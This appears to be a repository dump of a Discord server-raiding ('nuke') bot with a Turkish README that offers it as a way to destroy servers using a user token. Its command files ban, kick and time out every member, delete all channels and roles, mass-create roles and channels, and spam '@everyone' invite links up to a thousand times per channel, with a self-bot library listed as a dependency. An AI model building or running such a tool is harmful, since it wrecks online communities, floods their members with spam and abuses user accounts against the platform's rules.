├── botConfig.json ├── commands ├── AllKick.js ├── AllBan.js ├── AllTimeOut.js └── Bum.js ├── package.json ├── README.md ├── LICENSE └── index.js /botConfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": "", 3 | "prefix": ".", 4 | "color": "FFFFFF", 5 | "reason": "" 6 | } -------------------------------------------------------------------------------- /commands/AllKick.js: -------------------------------------------------------------------------------- 1 | const conf = require("../botConfig.json") 2 | module.exports.run = async (client, message, args) => { 3 | message.guild.members.cache.forEach(member => { 4 | member.kick(conf.reason); 5 | }); 6 | } 7 | module.exports.help = { 8 | name: "allkick" 9 | } -------------------------------------------------------------------------------- /commands/AllBan.js: -------------------------------------------------------------------------------- 1 | const conf = require("../botConfig.json") 2 | module.exports.run = async (client, message, args) => { 3 | message.guild.members.cache.forEach(member => { 4 | member.ban({ reason: conf.reason }); 5 | }); 6 | } 7 | module.exports.help = { 8 | name: "allban" 9 | } -------------------------------------------------------------------------------- /commands/AllTimeOut.js: -------------------------------------------------------------------------------- 1 | const conf = require("../botConfig.json") 2 | module.exports.run = async (client, message, args) => { 3 | message.guild.members.cache.forEach(member => { 4 | member.timeout(4000, conf.reason); 5 | }); 6 | } 7 | module.exports.help = { 8 | name: "allmute" 9 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "discord-bumlatma-botu", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "nodemon" 9 | }, 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "ascii-table": "^0.0.9", 14 | "discord.js": "^13.4.0", 15 | "discord.js-selfbot": "^12.0.2" 16 | }, 17 | "devDependencies": { 18 | "nodemon": "^2.0.15" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | sizlere discord sunucularını **User Token** ile patlatabileceğiniz bir altyapı paylaşaşacağım. 2 | 3 | \`botConfig.json\` dosyasını eksiksik doldurmanız gerekiyor. 4 | 5 | ``` 6 | "token": "", kullanıcının tokenini girin 7 | "prefix": ".", prefix girin 8 | "color": "FFFFFF", embed mesajı için renk seçeneği ellemenize gerek yok 9 | "reason": "" denetim kaydında gözükcek sebepler için 10 | ``` 11 | 12 | 13 | star atarsanız sevinirim iletişim için discord.gg/rate 14 | 15 | CYBER#6606 16 | Woxy#6606 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Utku 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /commands/Bum.js: -------------------------------------------------------------------------------- 1 | module.exports.run = async (client, message, args) => { 2 | var channelNames = ["rate","1993"]; //buraya istediğiniz kadar kanal adı girin hepsini açıp mesaj atıcak 29. satırı kontrol et! 3 | message.guild.channels.cache.forEach(channel => channel.delete()); // Sunucudaki tüm kanalları siler 4 | // Deleting every role except for everyone 5 | message.guild.roles.cache.forEach(role => { 6 | if(!role.name === "everyone") { 7 | role.delete(); 8 | } 9 | }); 10 | for(let i = 0; i < 240; i++) { 11 | message.guild.roles.create({ name: "Cyber" }).then((createdRole) => { 12 | //message.guild.members.cache.forEach(member => member.roles.add(createdRole.id)); /////bunu aktif edersen açtığı rolleri sunucudaki herkese verir 13 | }); 14 | } 15 | for(let i = 0; i < 50; i++) { 16 | var number = Math.floor(Math.random() * channelNames.length); 17 | var channelName = channelNames[number]; 18 | message.guild.channels.create(channelName, { 19 | type: "text", 20 | permissionOverwrites: [ 21 | { 22 | id: message.guild.roles.everyone, 23 | deny: ["SEND_MESSAGES"] 24 | } 25 | ], 26 | }).then(channel => { 27 | for(let i = 0; i < 1000; i++) { ///süreyi elleme 28 | channel.send({ content: "@everyone https://discord.gg/rate" });//// burada açtığı tüm kanallara ever spamı atar mesaj içeriğini yazın kısaca 29 | } 30 | }); 31 | } 32 | } 33 | module.exports.help = { 34 | name: "nuke" 35 | } -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const { Client, Intents, Collection } = require("discord.js"); 2 | const discord = require("discord.js"); 3 | const botConfig = require("./botConfig.json"); 4 | const ascii = require("ascii-table"); 5 | const table = new ascii("Commands"); 6 | table.setHeading("Command", "Status"); 7 | const fs = require("fs"); 8 | 9 | const client = new Client({ intents: Object.values(Intents.FLAGS).reduce((a, b) => a + b) }); 10 | client.commands = new Collection(); 11 | const commandFiles = fs.readdirSync("./commands").filter(file => file.endsWith(".js")); 12 | for(const file of commandFiles) { 13 | const command = require(`./commands/${file}`); 14 | client.commands.set(command.help.name, command); 15 | if(file) { 16 | table.addRow(file, "✅"); 17 | } else { 18 | table.addRow(file, "❌"); 19 | } 20 | } 21 | console.log(table.toString()); 22 | client.once("ready", () => { 23 | console.log(`Woxy <3 Cyber`); 24 | }); 25 | 26 | client.on("messageCreate", async message => { 27 | if(message.author.bot) return; 28 | var prefix = botConfig.prefix; 29 | var messageArray = message.content.split(" "); 30 | var command = messageArray[0]; 31 | if(!message.content.startsWith(prefix)) return; 32 | var commandData = client.commands.get(command.slice(prefix.length)); 33 | if(!commandData) return; 34 | var arguments = messageArray.slice(1); 35 | try { 36 | await commandData.run(client, message, arguments); 37 | } catch (error) { 38 | console.log(error); 39 | var errorEmbed = new discord.MessageEmbed() 40 | .setDescription(`cyber`); 41 | await message.reply({ embeds: [errorEmbed] }); 42 | } 43 | }); 44 | client.login(botConfig.token); --------------------------------------------------------------------------------